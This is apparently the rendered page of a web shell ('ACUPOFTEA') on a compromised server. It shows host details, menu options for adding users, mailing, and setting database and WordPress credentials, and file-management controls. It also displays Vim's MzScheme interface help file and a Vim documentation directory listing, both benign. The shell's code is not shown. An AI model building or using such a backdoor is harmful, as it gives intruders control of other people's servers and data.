System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
share
/
vim
/
vim80
/
doc
/
216.73.216.5
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for accounting.gulfstore-gcc.com made by tabagkayu.
Folder Name
File Name
File Content
File
if_mzsch.txt
*if_mzsch.txt* For Vim version 8.0. Last change: 2017 Oct 08 VIM REFERENCE MANUAL by Sergey Khorev The MzScheme Interface to Vim *mzscheme* *MzScheme* 1. Commands |mzscheme-commands| 2. Examples |mzscheme-examples| 3. Threads |mzscheme-threads| 4. Vim access from MzScheme |mzscheme-vim| 5. mzeval() Vim function |mzscheme-mzeval| 6. Using Function references |mzscheme-funcref| 7. Dynamic loading |mzscheme-dynamic| 8. MzScheme setup |mzscheme-setup| {Vi does not have any of these commands} The MzScheme interface is available only if Vim was compiled with the |+mzscheme| feature. Based on the work of Brent Fulgham. Dynamic loading added by Sergey Khorev MzScheme and PLT Scheme names have been rebranded as Racket. For more information please check http://racket-lang.org Futures and places of Racket version 5.x up to and including 5.3.1 do not work correctly with processes created by Vim. The simplest solution is to build Racket on your own with these features disabled: > ./configure --disable-futures --disable-places --prefix=your-install-prefix To speed up the process, you might also want to use --disable-gracket and --disable-docs ============================================================================== 1. Commands *mzscheme-commands* *:mzscheme* *:mz* :[range]mz[scheme] {stmt} Execute MzScheme statement {stmt}. {not in Vi} :[range]mz[scheme] << {endmarker} {script} {endmarker} Execute inlined MzScheme script {script}. Note: This command doesn't work if the MzScheme feature wasn't compiled in. To avoid errors, see |script-here|. *:mzfile* *:mzf* :[range]mzf[ile] {file} Execute the MzScheme script in {file}. {not in Vi} All of these commands do essentially the same thing - they execute a piece of MzScheme code, with the "current range" set to the given line range. In the case of :mzscheme, the code to execute is in the command-line. In the case of :mzfile, the code to execute is the contents of the given file. MzScheme interface defines exception exn:vim, derived from exn. It is raised for various Vim errors. During compilation, the MzScheme interface will remember the current MzScheme collection path. If you want to specify additional paths use the 'current-library-collection-paths' parameter. E.g., to cons the user-local MzScheme collection path: > :mz << EOF (current-library-collection-paths (cons (build-path (find-system-path 'addon-dir) (version) "collects") (current-library-collection-paths))) EOF < All functionality is provided through module vimext. The exn:vim is available without explicit import. To avoid clashes with MzScheme, consider using prefix when requiring module, e.g.: > :mzscheme (require (prefix vim- vimext)) < All the examples below assume this naming scheme. *mzscheme-sandbox* When executed in the |sandbox|, access to some filesystem and Vim interface procedures is restricted. ============================================================================== 2. Examples *mzscheme-examples* > :mzscheme (display "Hello") :mz (display (string-append "Using MzScheme version " (version))) :mzscheme (require (prefix vim- vimext)) ; for MzScheme < 4.x :mzscheme (require (prefix-in vim- 'vimext)) ; MzScheme 4.x :mzscheme (vim-set-buff-line 10 "This is line #10") To see what version of MzScheme you have: > :mzscheme (display (version)) < Inline script usage: > function! <SID>SetFirstLine() :mz << EOF (display "!!!") (require (prefix vim- vimext)) ; for newer versions (require (prefix-in vim- 'vimext)) (vim-set-buff-line 1 "This is line #1") (vim-beep) EOF endfunction nmap <F9> :call <SID>SetFirstLine() <CR> < File execution: > :mzfile supascript.scm < Vim exception handling: > :mz << EOF (require (prefix vim- vimext)) ; for newer versions (require (prefix-in vim- 'vimext)) (with-handlers ([exn:vim? (lambda (e) (display (exn-message e)))]) (vim-eval "nonsense-string")) EOF < Auto-instantiation of vimext module (can be placed in your |vimrc|): > function! MzRequire() :redir => l:mzversion :mz (version) :redir END if strpart(l:mzversion, 1, 1) < "4" " MzScheme versions < 4.x: :mz (require (prefix vim- vimext)) else " newer versions: :mz (require (prefix-in vim- 'vimext)) endif endfunction if has("mzscheme") silent call MzRequire() endif < ============================================================================== 3. Threads *mzscheme-threads* The MzScheme interface supports threads. They are independent from OS threads, thus scheduling is required. The option 'mzquantum' determines how often Vim should poll for available MzScheme threads. NOTE Thread scheduling in the console version of Vim is less reliable than in the GUI version. ============================================================================== 4. Vim access from MzScheme *mzscheme-vim* *mzscheme-vimext* The 'vimext' module provides access to procedures defined in the MzScheme interface. Common ------ (command {command-string}) Perform the vim ":Ex" style command. (eval {expr-string}) Evaluate the vim expression into respective MzScheme object: |Lists| are represented as Scheme lists, |Dictionaries| as hash tables, |Funcref|s as functions (see also |mzscheme-funcref|) NOTE the name clashes with MzScheme eval, use module qualifiers to overcome this. (range-start) Start/End of the range passed with (range-end) the Scheme command. (beep) beep (get-option {option-name} [buffer-or-window]) Get Vim option value (either local or global, see set-option). (set-option {string} [buffer-or-window]) Set a Vim option. String must have option setting form (like optname=optval, or optname+=optval, etc.) When called with {buffer} or {window} the local option will be set. The symbol 'global can be passed as {buffer-or-window}. Then |:setglobal| will be used. Buffers *mzscheme-buffer* ------- (buff? {object}) Is object a buffer? (buff-valid? {object}) Is object a valid buffer? (i.e. corresponds to the real Vim buffer) (get-buff-line {linenr} [buffer]) Get line from a buffer. (set-buff-line {linenr} {string} [buffer]) Set a line in a buffer. If {string} is #f, the line gets deleted. The [buffer] argument is optional. If omitted, the current buffer will be used. (get-buff-line-list {start} {end} [buffer]) Get a list of lines in a buffer. {Start} and {end} are 1-based and inclusive. (set-buff-line-list {start} {end} {string-list} [buffer]) Set a list of lines in a buffer. If string-list is #f or null, the lines get deleted. If a list is shorter than {end}-{start} the remaining lines will be deleted. (get-buff-name [buffer]) Get a buffer's text name. (get-buff-num [buffer]) Get a buffer's number. (get-buff-size [buffer]) Get buffer line count. (insert-buff-line-list {linenr} {string/string-list} [buffer]) Insert a list of lines into a buffer after {linenr}. If {linenr} is 0, lines will be inserted at start. (curr-buff) Get the current buffer. Use other MzScheme interface procedures to change it. (buff-count) Get count of total buffers in the editor. (get-next-buff [buffer]) Get next buffer. (get-prev-buff [buffer]) Get previous buffer. Return #f when there are no more buffers. (open-buff {filename}) Open a new buffer (for file "name") (get-buff-by-name {buffername}) Get a buffer by its filename or #f if there is no such buffer. (get-buff-by-num {buffernum}) Get a buffer by its number (return #f if there is no buffer with this number). Windows *mzscheme-window* ------ (win? {object}) Is object a window? (win-valid? {object}) Is object a valid window (i.e. corresponds to the real Vim window)? (curr-win) Get the current window. (win-count) Get count of windows. (get-win-num [window]) Get window number. (get-win-by-num {windownum}) Get window by its number. (get-win-buffer [window]) Get the buffer for a given window. (get-win-height [window]) (set-win-height {height} [window]) Get/Set height of window. (get-win-width [window]) (set-win-width {width} [window])Get/Set width of window. (get-win-list [buffer]) Get list of windows for a buffer. (get-cursor [window]) Get cursor position in a window as a pair (linenr . column). (set-cursor (line . col) [window]) Set cursor position. ============================================================================== 5. mzeval() Vim function *mzscheme-mzeval* To facilitate bi-directional interface, you can use |mzeval()| function to evaluate MzScheme expressions and pass their values to Vim script. ============================================================================== 6. Using Function references *mzscheme-funcref* MzScheme interface allows use of |Funcref|s so you can call Vim functions directly from Scheme. For instance: > function! MyAdd2(arg) return a:arg + 2 endfunction mz (define f2 (vim-eval "function(\"MyAdd2\")")) mz (f2 7) < or : > :mz (define indent (vim-eval "function('indent')")) " return Vim indent for line 12 :mz (indent 12) < ============================================================================== 7. Dynamic loading *mzscheme-dynamic* *E815* On MS-Windows the MzScheme libraries can be loaded dynamically. The |:version| output then includes |+mzscheme/dyn|. This means that Vim will search for the MzScheme DLL files only when needed. When you don't use the MzScheme interface you don't need them, thus you can use Vim without these DLL files. NOTE: Newer version of MzScheme (Racket) require earlier (trampolined) initialisation via scheme_main_setup. So Vim always loads the MzScheme DLL at startup if possible. This may make Vim startup slower. To use the MzScheme interface the MzScheme DLLs must be in your search path. In a console window type "path" to see what directories are used. On MS-Windows the options 'mzschemedll' and 'mzschemegcdll' are used for the name of the library to load. The initial value is specified at build time. The version of the DLL must match the MzScheme version Vim was compiled with. For MzScheme version 209 they will be "libmzsch209_000.dll" and "libmzgc209_000.dll". To know for sure look at the output of the ":version" command, look for -DDYNAMIC_MZSCH_DLL="something" and -DDYNAMIC_MZGC_DLL="something" in the "Compilation" info. For example, if MzScheme (Racket) is installed at C:\Racket63, you may need to set the environment variable as the following: > PATH=%PATH%;C:\Racket63\lib PLTCOLLECTS=C:\Racket63\collects PLTCONFIGDIR=C:\Racket63\etc < ============================================================================== 8. MzScheme setup *mzscheme-setup* *E895* Vim requires "racket/base" module for if_mzsch core (fallback to "scheme/base" if it doesn't exist), "r5rs" module for test and "raco ctool" command for building Vim. If MzScheme did not have them, you can install them with MzScheme's raco command: > raco pkg install scheme-lib # scheme/base module raco pkg install r5rs-lib # r5rs module raco pkg install cext-lib # raco ctool command < ====================================================================== vim:tw=78:ts=8:sts=4:ft=help:norl:
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-10-13 10:57:17
..
DIR
-
drwxr-xr-x
2025-10-13 10:57:17
arabic.txt
text/plain
11.66 KB
-rw-r--r--
2025-10-12 12:23:12
autocmd.txt
text/plain
63.87 KB
-rw-r--r--
2025-10-12 12:23:12
change.txt
text/plain
73.12 KB
-rw-r--r--
2025-10-12 12:23:12
channel.txt
text/plain
30.1 KB
-rw-r--r--
2025-10-12 12:23:12
cmdline.txt
text/plain
46.17 KB
-rw-r--r--
2025-10-12 12:23:12
debug.txt
text/plain
7.01 KB
-rw-r--r--
2025-10-12 12:23:12
debugger.txt
text/plain
5.61 KB
-rw-r--r--
2025-10-12 12:23:12
develop.txt
text/plain
21.82 KB
-rw-r--r--
2025-10-12 12:23:12
diff.txt
text/plain
16.14 KB
-rw-r--r--
2025-10-12 12:23:12
digraph.txt
text/plain
60.67 KB
-rw-r--r--
2025-10-12 12:23:12
editing.txt
text/plain
71.46 KB
-rw-r--r--
2025-10-12 12:23:12
eval.txt
text/plain
434.04 KB
-rw-r--r--
2025-10-12 12:23:12
farsi.txt
text/plain
9.48 KB
-rw-r--r--
2025-10-12 12:23:12
filetype.txt
text/plain
25.33 KB
-rw-r--r--
2025-10-12 12:23:12
fold.txt
text/plain
23.14 KB
-rw-r--r--
2025-10-12 12:23:12
ft_ada.txt
text/plain
17.82 KB
-rw-r--r--
2025-10-12 12:23:12
ft_rust.txt
text/plain
9.3 KB
-rw-r--r--
2025-10-12 12:23:12
ft_sql.txt
text/plain
29.97 KB
-rw-r--r--
2025-10-12 12:23:12
gui.txt
text/plain
44.52 KB
-rw-r--r--
2025-10-12 12:23:12
gui_w32.txt
text/plain
18.47 KB
-rw-r--r--
2025-10-12 12:23:12
gui_x11.txt
text/plain
28.79 KB
-rw-r--r--
2025-10-12 12:23:12
hangulin.txt
text/plain
3.21 KB
-rw-r--r--
2025-10-12 12:23:12
hebrew.txt
text/plain
5.58 KB
-rw-r--r--
2025-10-12 12:23:12
help.txt
text/plain
8.38 KB
-rw-r--r--
2025-10-12 12:23:12
helphelp.txt
text/plain
14 KB
-rw-r--r--
2025-10-12 12:23:12
howto.txt
text/plain
2.84 KB
-rw-r--r--
2025-10-12 12:23:12
if_cscop.txt
text/plain
18.91 KB
-rw-r--r--
2025-10-12 12:23:12
if_lua.txt
text/plain
14.3 KB
-rw-r--r--
2025-10-12 12:23:12
if_mzsch.txt
text/plain
11.55 KB
-rw-r--r--
2025-10-12 12:23:12
if_ole.txt
text/plain
7.23 KB
-rw-r--r--
2025-10-12 12:23:12
if_perl.txt
text/plain
10.89 KB
-rw-r--r--
2025-10-12 12:23:12
if_pyth.txt
text/x-script.python
37.05 KB
-rw-r--r--
2025-10-12 12:23:12
if_ruby.txt
text/x-ruby
7.83 KB
-rw-r--r--
2025-10-12 12:23:12
if_sniff.txt
text/plain
266 B
-rw-r--r--
2025-10-12 12:23:12
if_tcl.txt
text/plain
22.49 KB
-rw-r--r--
2025-10-12 12:23:12
indent.txt
text/plain
38.5 KB
-rw-r--r--
2025-10-12 12:23:12
index.txt
text/plain
74.65 KB
-rw-r--r--
2025-10-12 12:23:12
insert.txt
text/plain
81.21 KB
-rw-r--r--
2025-10-12 12:23:12
intro.txt
text/plain
38.31 KB
-rw-r--r--
2025-10-12 12:23:12
map.txt
text/plain
63.15 KB
-rw-r--r--
2025-10-12 12:23:12
mbyte.txt
text/plain
57.92 KB
-rw-r--r--
2025-10-12 12:23:12
message.txt
text/plain
30.5 KB
-rw-r--r--
2025-10-12 12:23:12
mlang.txt
text/plain
7.67 KB
-rw-r--r--
2025-10-12 12:23:12
motion.txt
text/plain
50.39 KB
-rw-r--r--
2025-10-12 12:23:12
netbeans.txt
text/plain
36.13 KB
-rw-r--r--
2025-10-12 12:23:12
options.txt
text/plain
378.02 KB
-rw-r--r--
2025-10-12 12:23:12
os_390.txt
text/plain
4.64 KB
-rw-r--r--
2025-10-12 12:23:12
os_amiga.txt
text/plain
5.33 KB
-rw-r--r--
2025-10-12 12:23:12
os_beos.txt
text/plain
10.73 KB
-rw-r--r--
2025-10-12 12:23:12
os_dos.txt
text/plain
11.74 KB
-rw-r--r--
2025-10-12 12:23:12
os_mac.txt
text/plain
6.69 KB
-rw-r--r--
2025-10-12 12:23:12
os_mint.txt
text/plain
1.37 KB
-rw-r--r--
2025-10-12 12:23:12
os_msdos.txt
text/plain
518 B
-rw-r--r--
2025-10-12 12:23:12
os_os2.txt
text/plain
294 B
-rw-r--r--
2025-10-12 12:23:12
os_qnx.txt
text/plain
3.98 KB
-rw-r--r--
2025-10-12 12:23:12
os_risc.txt
text/plain
323 B
-rw-r--r--
2025-10-12 12:23:12
os_unix.txt
text/plain
2.53 KB
-rw-r--r--
2025-10-12 12:23:12
os_vms.txt
text/plain
31.35 KB
-rw-r--r--
2025-10-12 12:23:12
os_win32.txt
text/plain
13.04 KB
-rw-r--r--
2025-10-12 12:23:12
pattern.txt
text/plain
57.93 KB
-rw-r--r--
2025-10-12 12:23:12
pi_getscript.txt
text/plain
20.58 KB
-rw-r--r--
2025-10-12 12:23:12
pi_gzip.txt
text/plain
1.29 KB
-rw-r--r--
2025-10-12 12:23:12
pi_logipat.txt
text/plain
4.09 KB
-rw-r--r--
2025-10-12 12:23:12
pi_netrw.txt
text/plain
171.44 KB
-rw-r--r--
2025-10-12 12:23:12
pi_paren.txt
text/plain
2.22 KB
-rw-r--r--
2025-10-12 12:23:12
pi_spec.txt
text/plain
4.03 KB
-rw-r--r--
2025-10-12 12:23:12
pi_tar.txt
text/plain
6.08 KB
-rw-r--r--
2025-10-12 12:23:12
pi_vimball.txt
text/plain
11.58 KB
-rw-r--r--
2025-10-12 12:23:12
pi_zip.txt
text/plain
6.87 KB
-rw-r--r--
2025-10-12 12:23:12
print.txt
text/plain
30.43 KB
-rw-r--r--
2025-10-12 12:23:12
quickfix.txt
text/plain
67.4 KB
-rw-r--r--
2025-10-12 12:23:12
quickref.txt
text/plain
69.59 KB
-rw-r--r--
2025-10-12 12:23:12
quotes.txt
text/plain
12.44 KB
-rw-r--r--
2025-10-12 12:23:12
recover.txt
text/plain
10.44 KB
-rw-r--r--
2025-10-12 12:23:12
remote.txt
text/plain
8.22 KB
-rw-r--r--
2025-10-12 12:23:12
repeat.txt
text/plain
38.65 KB
-rw-r--r--
2025-10-12 12:23:12
rileft.txt
text/plain
4.86 KB
-rw-r--r--
2025-10-12 12:23:12
russian.txt
text/plain
3.02 KB
-rw-r--r--
2025-10-12 12:23:12
scroll.txt
text/plain
13.74 KB
-rw-r--r--
2025-10-12 12:23:12
sign.txt
text/plain
6.73 KB
-rw-r--r--
2025-10-12 12:23:12
spell.txt
text/plain
61.31 KB
-rw-r--r--
2025-10-12 12:23:12
sponsor.txt
text/plain
7.03 KB
-rw-r--r--
2025-10-12 12:23:12
starting.txt
text/plain
71.9 KB
-rw-r--r--
2025-10-12 12:23:12
syntax.txt
text/plain
212.37 KB
-rw-r--r--
2025-10-12 12:23:12
tabpage.txt
text/plain
16.33 KB
-rw-r--r--
2025-10-12 12:23:12
tags
text/plain
320.95 KB
-rw-r--r--
2025-10-12 12:23:12
tagsrch.txt
text/plain
35.78 KB
-rw-r--r--
2025-10-12 12:23:12
term.txt
text/plain
44.35 KB
-rw-r--r--
2025-10-12 12:23:12
terminal.txt
text/plain
32.78 KB
-rw-r--r--
2025-10-12 12:23:12
tips.txt
text/plain
20.07 KB
-rw-r--r--
2025-10-12 12:23:12
todo.txt
text/plain
289.32 KB
-rw-r--r--
2025-10-12 12:23:12
uganda.txt
text/plain
13.7 KB
-rw-r--r--
2025-10-12 12:23:12
undo.txt
text/plain
16.15 KB
-rw-r--r--
2025-10-12 12:23:12
usr_01.txt
text/plain
6.92 KB
-rw-r--r--
2025-10-12 12:23:12
usr_02.txt
text/plain
23.77 KB
-rw-r--r--
2025-10-12 12:23:12
usr_03.txt
text/plain
23.05 KB
-rw-r--r--
2025-10-12 12:23:12
usr_04.txt
text/plain
18.63 KB
-rw-r--r--
2025-10-12 12:23:12
usr_05.txt
text/plain
23.27 KB
-rw-r--r--
2025-10-12 12:23:12
usr_06.txt
text/plain
9.36 KB
-rw-r--r--
2025-10-12 12:23:12
usr_07.txt
text/plain
15.61 KB
-rw-r--r--
2025-10-12 12:23:12
usr_08.txt
text/plain
18.92 KB
-rw-r--r--
2025-10-12 12:23:12
usr_09.txt
text/plain
11.18 KB
-rw-r--r--
2025-10-12 12:23:12
usr_10.txt
text/plain
28.5 KB
-rw-r--r--
2025-10-12 12:23:12
usr_11.txt
text/plain
12.32 KB
-rw-r--r--
2025-10-12 12:23:12
usr_12.txt
text/plain
13.11 KB
-rw-r--r--
2025-10-12 12:23:12
usr_20.txt
text/plain
13.38 KB
-rw-r--r--
2025-10-12 12:23:12
usr_21.txt
text/plain
17.94 KB
-rw-r--r--
2025-10-12 12:23:12
usr_22.txt
text/plain
13.96 KB
-rw-r--r--
2025-10-12 12:23:12
usr_23.txt
text/plain
12.29 KB
-rw-r--r--
2025-10-12 12:23:12
usr_24.txt
text/plain
20.38 KB
-rw-r--r--
2025-10-12 12:23:12
usr_25.txt
text/plain
18.67 KB
-rw-r--r--
2025-10-12 12:23:12
usr_26.txt
text/plain
8.06 KB
-rw-r--r--
2025-10-12 12:23:12
usr_27.txt
text/plain
17.31 KB
-rw-r--r--
2025-10-12 12:23:12
usr_28.txt
text/plain
15.64 KB
-rw-r--r--
2025-10-12 12:23:12
usr_29.txt
text/plain
19.64 KB
-rw-r--r--
2025-10-12 12:23:12
usr_30.txt
text/x-c
22.13 KB
-rw-r--r--
2025-10-12 12:23:12
usr_31.txt
text/plain
10.15 KB
-rw-r--r--
2025-10-12 12:23:12
usr_32.txt
text/plain
5.25 KB
-rw-r--r--
2025-10-12 12:23:12
usr_40.txt
text/plain
22.64 KB
-rw-r--r--
2025-10-12 12:23:12
usr_41.txt
text/plain
87.21 KB
-rw-r--r--
2025-10-12 12:23:12
usr_42.txt
text/plain
13.47 KB
-rw-r--r--
2025-10-12 12:23:12
usr_43.txt
text/plain
7.23 KB
-rw-r--r--
2025-10-12 12:23:12
usr_44.txt
text/plain
28.53 KB
-rw-r--r--
2025-10-12 12:23:12
usr_45.txt
text/plain
17.49 KB
-rw-r--r--
2025-10-12 12:23:12
usr_90.txt
text/plain
17.25 KB
-rw-r--r--
2025-10-12 12:23:12
usr_toc.txt
text/plain
9 KB
-rw-r--r--
2025-10-12 12:23:12
various.txt
text/plain
28.18 KB
-rw-r--r--
2025-10-12 12:23:12
version4.txt
text/plain
13.58 KB
-rw-r--r--
2025-10-12 12:23:12
version5.txt
text/plain
301.31 KB
-rw-r--r--
2025-10-12 12:23:12
version6.txt
text/plain
563.53 KB
-rw-r--r--
2025-10-12 12:23:12
version7.txt
text/plain
658.95 KB
-rw-r--r--
2025-10-12 12:23:12
version8.txt
text/plain
668.21 KB
-rw-r--r--
2025-10-12 12:23:12
vi_diff.txt
text/plain
41.81 KB
-rw-r--r--
2025-10-12 12:23:12
visual.txt
text/plain
21.33 KB
-rw-r--r--
2025-10-12 12:23:12
windows.txt
text/plain
51.79 KB
-rw-r--r--
2025-10-12 12:23:12
workshop.txt
text/plain
4.52 KB
-rw-r--r--
2025-10-12 12:23:12
~ ACUPOFTEA - accounting.gulfstore-gcc.com